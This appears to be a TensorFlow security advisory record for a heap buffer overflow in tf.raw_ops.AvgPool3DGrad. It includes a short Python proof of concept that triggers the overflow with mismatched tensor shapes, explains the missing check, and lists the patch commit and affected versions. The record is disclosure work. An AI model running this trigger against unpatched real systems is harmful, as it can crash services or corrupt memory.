{"id":"GHSA-v6r6-84gr-92rm","summary":"Heap buffer overflow in `AvgPool3DGrad`","details":"### Impact\nThe implementation of `tf.raw_ops.AvgPool3DGrad` is vulnerable to a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\norig_input_shape = tf.constant([10, 6, 3, 7, 7], shape=[5], dtype=tf.int32)\ngrad = tf.constant([0.01, 0, 0], shape=[3, 1, 1, 1, 1], dtype=tf.float32)\nksize = [1, 1, 1, 1, 1]\nstrides = [1, 1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.AvgPool3DGrad(\n  orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides,\n  padding=padding)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/d80ffba9702dc19d1fac74fc4b766b3fa1ee976b/tensorflow/core/kernels/pooling_ops_3d.cc#L376-L450) assumes that the `orig_input_shape` and `grad` tensors have similar first and last dimensions but does not check that this assumption is validated.\n\n### Patches\nWe have patched the issue in GitHub commit [6fc9141f42f6a72180ecd24021c3e6b36165fe0d](https://github.com/tensorflow/tensorflow/commit/6fc9141f42f6a72180ecd24021c3e6b36165fe0d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu
